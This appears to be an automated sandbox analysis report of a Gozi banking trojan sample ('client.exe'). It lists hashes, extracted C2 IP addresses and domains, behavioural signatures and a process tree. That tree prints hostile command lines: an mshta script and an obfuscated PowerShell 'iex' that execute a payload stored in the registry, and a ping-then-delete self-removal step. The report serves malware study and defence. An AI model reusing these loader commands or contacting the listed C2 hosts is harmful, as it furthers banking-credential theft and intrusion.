Analysis

  • max time kernel
    150s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-10-2023 12:15

General

  • Target

    client.exe

  • Size

    295KB

  • MD5

    ed017c0f334b6d10ac5aca77fe7f9a2a

  • SHA1

    de7a838cbf418f5c093e5bed00254c4c68b82fa7

  • SHA256

    9f710a0fc0cadbf3378c06ca4fefa2486bdf04646201f9efec7cd5a4c97634b4

  • SHA512

    e7210ef6cfb8b9cad8078b8bdc4331eba04c9b7bd87b1aadce8c84560035fe4725161dceaca03608f10f7e02de7120c6dbf345c0ac69c72d5613e85080f58316

  • SSDEEP

    3072:Az6N1tmvikka83g9IGkpt4fMlw5mlg9eidid74+VONrRrCS:bN1cvBka83g9PkUf55B++1r

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

185.247.184.139

62.72.33.155

incontroler.com

Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi

Botnet

5050

C2

expirew.com

whofos.com

onlinepoints.online

onlinepoints.top

Attributes
  • base_path

    /pictures/

  • build

    250260

  • exe_type

    worker

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Modifies registry class 64 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3780
  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:4740
    • C:\Windows\System32\RuntimeBroker.exe
      C:\Windows\System32\RuntimeBroker.exe -Embedding
      1⤵
        PID:4004
      • C:\Windows\Explorer.EXE
        C:\Windows\Explorer.EXE
        1⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of UnmapMainImage
        • Suspicious use of WriteProcessMemory
        PID:3228
        • C:\Users\Admin\AppData\Local\Temp\client.exe
          "C:\Users\Admin\AppData\Local\Temp\client.exe"
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3116
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3116 -s 1360
            3⤵
            • Program crash
            PID:4428
        • C:\Windows\System32\mshta.exe
          "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Uabl='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Uabl).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\304F83E1-CF18-E2AF-D964-73361DD857CA\\\OperatorAbout'));if(!window.flag)close()</script>"
          2⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:4200
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ewohlcsis -value gp; new-alias -name nrbekdtnbf -value iex; nrbekdtnbf ([System.Text.Encoding]::ASCII.GetString((ewohlcsis "HKCU:Software\AppDataLow\Software\Microsoft\304F83E1-CF18-E2AF-D964-73361DD857CA").ClassDocument))
            3⤵
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4492
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ewbncifx\ewbncifx.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3656
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES676F.tmp" "c:\Users\Admin\AppData\Local\Temp\ewbncifx\CSCF35E11C57AE545618E28CD58625347A6.TMP"
                5⤵
                  PID:2296
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nirr5fd3\nirr5fd3.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1868
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES684A.tmp" "c:\Users\Admin\AppData\Local\Temp\nirr5fd3\CSC7BD5EF31ADA40F19199F230E12C574.TMP"
                  5⤵
                    PID:2096
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\client.exe"
              2⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of WriteProcessMemory
              PID:3104
              • C:\Windows\system32\PING.EXE
                ping localhost -n 5
                3⤵
                • Runs ping.exe
                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                PID:1240
            • C:\Windows\syswow64\cmd.exe
              "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
              2⤵
                PID:3952
            • C:\Windows\System32\RuntimeBroker.exe
              C:\Windows\System32\RuntimeBroker.exe -Embedding
              1⤵
              • Modifies registry class
              PID:1932
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3116 -ip 3116
              1⤵
                PID:4312

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\RES676F.tmp

                Filesize

                1KB

                MD5

                4217404f89abf59e7a31a95af954fb66

                SHA1

                4e2ca2b9531e4e4105dcc7fe855804fb6bb77d39

                SHA256

                f83cfbaed39fa60981248dcf9a35f86ec279a187136c449d1e90c58e84075d57

                SHA512

                c4f47fd9f695fe212505e4eb2c3bfc873bab949b75125b240437d9770f2eee07b7e8aecd22361268361431138b79a8572022415686e63f757090a35e6697861c

              • C:\Users\Admin\AppData\Local\Temp\RES684A.tmp

                Filesize

                1KB

                MD5

                5df735e03640004d5cc0778e08956ee6

                SHA1

                f2abda5758bd994fb3fb13bebfa885e9e8d62f58

                SHA256

                42bc7b1488a7b2e2741bc580c0c97fbd11dd26988c44fc77ef979a1421e69691

                SHA512

                c0ced8645e3930792e9a01c5d05c4188877a0514175a25d929460ca3fe983be9b11b8b5bffbabf326202a8aa118269b07b823e4332a733da7fcb0b00ea950150

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pktypv1u.0cj.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\AppData\Local\Temp\ewbncifx\ewbncifx.dll

                Filesize

                3KB

                MD5

                493d5648de3a18d4b21b9a1e66c614af

                SHA1

                d156c2f793a55783627e41a492f4b8f16e8cc9d0

                SHA256

                3be874ed776acac47b5d456578ca64a5ae075ecf0da753cbb0e19021b4c8d7c0

                SHA512

                b9879930db47cb18d2c8430e6dc4d77b026792b8ed5ebf3e2f15e88f4983786fcadae84942f4e0a365016bbad0e2b74f7578bfc93dd57f1975f08c5b98290e55

              • C:\Users\Admin\AppData\Local\Temp\nirr5fd3\nirr5fd3.dll

                Filesize

                3KB

                MD5

                bc8b03d51fbaaeba6f8e825c3f06e2e3

                SHA1

                27d04dcfe99c0d0c618f7a0727ec110f0ed30fa3

                SHA256

                5ef100597295522ab2ef59e4825f733484bdf6549745cf3bef4a4534e6bf828e

                SHA512

                15c2a7f075ece19f833e8527327a8fb92d9536ab1d403dea2ee26340997d854cf6cdf5acf3b7e10fccd3b695edb45fbad8c597c87fd9e0a22086b30878301944

              • \??\c:\Users\Admin\AppData\Local\Temp\ewbncifx\CSCF35E11C57AE545618E28CD58625347A6.TMP

                Filesize

                652B

                MD5

                70ed528066ea6a512c7d83fccacb1989

                SHA1

                1e97e85fc3fcf28a5b836a4b89e4924e18f6adc5

                SHA256

                5e9c3aafcedb04d08abff414d29a5d837350527ec5cc6a20148389cf0f860998

                SHA512

                145b559a045a546574eb82c55c13c5a42de9e0052ccc1c942aad5e20d5fc5b953ddf8dd2e6a1167937e91deb47ce1c10725da30a0994bf37106546207ceecc5a

              • \??\c:\Users\Admin\AppData\Local\Temp\ewbncifx\ewbncifx.0.cs

                Filesize

                405B

                MD5

                caed0b2e2cebaecd1db50994e0c15272

                SHA1

                5dfac9382598e0ad2e700de4f833de155c9c65fa

                SHA256

                21210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150

                SHA512

                86dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62

              • \??\c:\Users\Admin\AppData\Local\Temp\ewbncifx\ewbncifx.cmdline

                Filesize

                369B

                MD5

                5ea676435b4cdef35d90dc65a508ef62

                SHA1

                b5427809f5ee1bed18e9646b0704cc4d4a3dc26f

                SHA256

                625ff4946d906954a6d435f29c9ce7329668ff045e29a5e4cedd20dfda0805d4

                SHA512

                e530b66c1212ed152230f5574edca1534352c683db5424395960aab273c3592ec2b2f943cadb7cfa5f99b0d7f28da1631a45ac919d653f5fa76795a7667cd797

              • \??\c:\Users\Admin\AppData\Local\Temp\nirr5fd3\CSC7BD5EF31ADA40F19199F230E12C574.TMP

                Filesize

                652B

                MD5

                e5bf496ab69d0dc6bd1bdc67f6d3fa35

                SHA1

                d74d0b7509df7e3f845d6b7a3f04e5f3f17456c9

                SHA256

                246f21b8ac61a93cb3dac3f748df7b77affa76d5ab3f5d27095215e2eafce0cd

                SHA512

                36d6d87a74a2b4cc02c9602a2edce43a1fd2588d34b6a38f431d73f994d55f7edaffe528016b9200d0505adb0638e090cc5dcc135a7163ffa9d5b6628e70b44c

              • \??\c:\Users\Admin\AppData\Local\Temp\nirr5fd3\nirr5fd3.0.cs

                Filesize

                406B

                MD5

                ca8887eacd573690830f71efaf282712

                SHA1

                0acd4f49fc8cf6372950792402ec3aeb68569ef8

                SHA256

                568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3

                SHA512

                2a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7

              • \??\c:\Users\Admin\AppData\Local\Temp\nirr5fd3\nirr5fd3.cmdline

                Filesize

                369B

                MD5

                d6fdaa7ffdc4c2e3fe405391cfd6363f

                SHA1

                cece7ecfdb2f1dfe61413de6471a33dff1d17d9f

                SHA256

                7df25a295e8a3214e23a0249c66ecb2fb2715bbd5bc111eaedcbf250468626d8

                SHA512

                d42c3141204aa910122e350c72d6fc9ef60683472e949e6f6afdcd0dce04de417a0ff60670b475d9e4d43f5bbbfa196c147899a048da50149b53901311ced014

              • memory/1240-120-0x0000018126540000-0x00000181265E4000-memory.dmp

                Filesize

                656KB

              • memory/1240-109-0x0000018126540000-0x00000181265E4000-memory.dmp

                Filesize

                656KB

              • memory/1240-112-0x0000018126330000-0x0000018126331000-memory.dmp

                Filesize

                4KB

              • memory/1932-93-0x0000023FDE700000-0x0000023FDE7A4000-memory.dmp

                Filesize

                656KB

              • memory/1932-101-0x0000023FDE240000-0x0000023FDE241000-memory.dmp

                Filesize

                4KB

              • memory/1932-122-0x0000023FDE700000-0x0000023FDE7A4000-memory.dmp

                Filesize

                656KB

              • memory/3104-119-0x0000011E6F180000-0x0000011E6F224000-memory.dmp

                Filesize

                656KB

              • memory/3104-98-0x0000011E6F0E0000-0x0000011E6F0E1000-memory.dmp

                Filesize

                4KB

              • memory/3104-90-0x0000011E6F180000-0x0000011E6F224000-memory.dmp

                Filesize

                656KB

              • memory/3116-7-0x0000000002470000-0x000000000247D000-memory.dmp

                Filesize

                52KB

              • memory/3116-4-0x0000000002300000-0x0000000002400000-memory.dmp

                Filesize

                1024KB

              • memory/3116-3-0x0000000000400000-0x0000000002290000-memory.dmp

                Filesize

                30.6MB

              • memory/3116-5-0x0000000000400000-0x0000000002290000-memory.dmp

                Filesize

                30.6MB

              • memory/3116-2-0x0000000002410000-0x000000000241B000-memory.dmp

                Filesize

                44KB

              • memory/3116-6-0x0000000002410000-0x000000000241B000-memory.dmp

                Filesize

                44KB

              • memory/3116-10-0x0000000000400000-0x0000000002290000-memory.dmp

                Filesize

                30.6MB

              • memory/3116-1-0x0000000002300000-0x0000000002400000-memory.dmp

                Filesize

                1024KB

              • memory/3116-117-0x0000000000400000-0x0000000002290000-memory.dmp

                Filesize

                30.6MB

              • memory/3228-61-0x0000000000B00000-0x0000000000B01000-memory.dmp

                Filesize

                4KB

              • memory/3228-58-0x0000000008960000-0x0000000008A04000-memory.dmp

                Filesize

                656KB

              • memory/3228-110-0x0000000008960000-0x0000000008A04000-memory.dmp

                Filesize

                656KB

              • memory/3780-116-0x000001CEE6ED0000-0x000001CEE6F74000-memory.dmp

                Filesize

                656KB

              • memory/3780-72-0x000001CEE6ED0000-0x000001CEE6F74000-memory.dmp

                Filesize

                656KB

              • memory/3780-73-0x000001CEE6D50000-0x000001CEE6D51000-memory.dmp

                Filesize

                4KB

              • memory/3952-115-0x0000000001200000-0x0000000001298000-memory.dmp

                Filesize

                608KB

              • memory/3952-104-0x0000000001200000-0x0000000001298000-memory.dmp

                Filesize

                608KB

              • memory/3952-105-0x00000000012A0000-0x00000000012A1000-memory.dmp

                Filesize

                4KB

              • memory/4004-78-0x000001ED1F910000-0x000001ED1F9B4000-memory.dmp

                Filesize

                656KB

              • memory/4004-118-0x000001ED1F910000-0x000001ED1F9B4000-memory.dmp

                Filesize

                656KB

              • memory/4004-79-0x000001ED1F8D0000-0x000001ED1F8D1000-memory.dmp

                Filesize

                4KB

              • memory/4492-59-0x0000028C68B80000-0x0000028C68BBD000-memory.dmp

                Filesize

                244KB

              • memory/4492-54-0x0000028C68B70000-0x0000028C68B78000-memory.dmp

                Filesize

                32KB

              • memory/4492-40-0x0000028C68400000-0x0000028C68408000-memory.dmp

                Filesize

                32KB

              • memory/4492-70-0x00007FFA98B20000-0x00007FFA995E1000-memory.dmp

                Filesize

                10.8MB

              • memory/4492-27-0x0000028C68340000-0x0000028C68350000-memory.dmp

                Filesize

                64KB

              • memory/4492-26-0x0000028C68340000-0x0000028C68350000-memory.dmp

                Filesize

                64KB

              • memory/4492-25-0x00007FFA98B20000-0x00007FFA995E1000-memory.dmp

                Filesize

                10.8MB

              • memory/4492-24-0x0000028C68420000-0x0000028C68442000-memory.dmp

                Filesize

                136KB

              • memory/4740-84-0x00000260D0B60000-0x00000260D0C04000-memory.dmp

                Filesize

                656KB

              • memory/4740-85-0x00000260D0940000-0x00000260D0941000-memory.dmp

                Filesize

                4KB

              • memory/4740-121-0x00000260D0B60000-0x00000260D0C04000-memory.dmp

                Filesize

                656KB